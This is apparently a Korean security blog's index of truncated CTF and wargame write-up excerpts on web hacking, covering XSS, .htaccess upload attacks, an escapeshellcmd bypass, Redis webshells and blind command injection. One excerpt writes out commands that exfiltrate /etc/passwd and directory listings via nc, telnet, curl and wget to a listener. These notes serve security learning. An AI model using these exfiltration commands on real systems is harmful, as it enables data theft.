security/웹해킹 32

[fiesta 2023] letter service

python Flask + Nginx + MariaDB 조합 * utilites/__init__.py 보면 read_letter()에서 FLAG가 담긴 쿠키와 함께 특정 url에 접속 => XSS trigger 필요 def read_letter(url): try: FLAG = os.environ.get('FLAG') except: FLAG = 'fiesta{**redact**}' cookie = {"name": "FLAG", "value": f"{FLAG}"} cookie.update({"domain": "127.0.0.1", "path": "/"}) chrome_options = ChromeOptions() CREDENTIALS = { "email": "ef9a2d554146d1799d11d829827..

security/웹해킹 2023.09.11

[Dreamhack Wargame] Apache htaccess

파일 업로드 공격 1. .htaccess 이용 - 아파치 (Apache) 웹 서버는 일반적으로 /etc/apache2 또는 /etc/httpd 디렉터리에서 설정 파일을 관리 - AccessFileName 지시어를 사용해 설정 파일을 분산하여 관리할 수 있음, 기본적으로 .htaccess로 설정되어있음 root@ubuntu01:~# cat /etc/apache2/apache2.conf | grep ^AccessFileName AccessFileName .htaccess [root@centos01 ~]# cat /etc/httpd/conf/httpd.conf | grep ^AccessFileName AccessFileName .htaccess - .htaccess(hypertext access) 파일 = 분..

security/웹해킹 2023.07.17

[Dreamhack Wargame] Command Injection Advanced

PHP escapeshellcmd() 함수 우회 1. escapeshellcmd() 함수에 대해 - 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 php에서 사용하는 함수 - 쉘 명령을 속이는 데 사용될 수 있는 문자열의 모든 문자를 이스케이프한다 - 다음 문자 앞에 백슬래시를 붙인다 : & # ; ` | * ? ~ ^ ( ) [ ] { } $ \ , \x0A \xFF ' " (따옴표는 쌍이 아닌 경우만) cf) escapeshellarg()는 전달한 입력값을 하나의 문자열로 만들어버림 2. 취약점 메타문자를 활용한 커맨드 인젝션은 불가능하다, 실행하려는 명령어의 옵션은 조작할 수 있다 php > var_dump(escapeshellcmd("a -h -d -e")); string(10) "a -..

security/웹해킹 2023.07.15

Linux Command Injection Technique 정리

실행 결과를 확인할 수 없는 Command Injection 환경에서의 공격방법 1. Network Outbound 네트워크 도구를 서버에 설치할 수 있거나 설치되어있을 때 - nc(netcat), telnet 이용 cat /etc/passwd | nc 127.0.0.1 8000 cat /etc/passwd | telnet 127.0.0.1 8000 * 파이프와 함께 명령어의 실행 결과를 네트워크로 전송할 수 있음 - curl / wget 이용 curl "http://127.0.0.1:8080/?$(ls -al|base64 -w0)" // GET 요청 curl http://127.0.0.1:8080/ -d "$(ls -al)" // POST 요청 wget http://127.0.0.1:8080 --met..

security/웹해킹 2023.07.15

[Dreamhack Wargame] phpMyRedis + .rdb 파일을 이용한 웹쉘 업로드

Redis 명령어 - 데이터 조작 명령어 GET GET key 데이터 조회 MGET MGET key [key ...] 여러 데이터를 조회 SET SET key value 새로운 데이터 추가 MSET MSET key value [key value ...] 여러 데이터를 추가 DEL DEL key [key ...] 데이터 삭제 EXISTS EXISTS key [key ...] 데이터 유무 확인 - php에서 데이터 조작 명령어 사용하는 방법 1. get(), set() 함수 이용 $redis = new Redis(); $redis->connect($REDIS_HOST); $key = "test_key"; $val = "test_val"; $redis->set($key, $val); # SET $key $va..

security/웹해킹 2023.07.15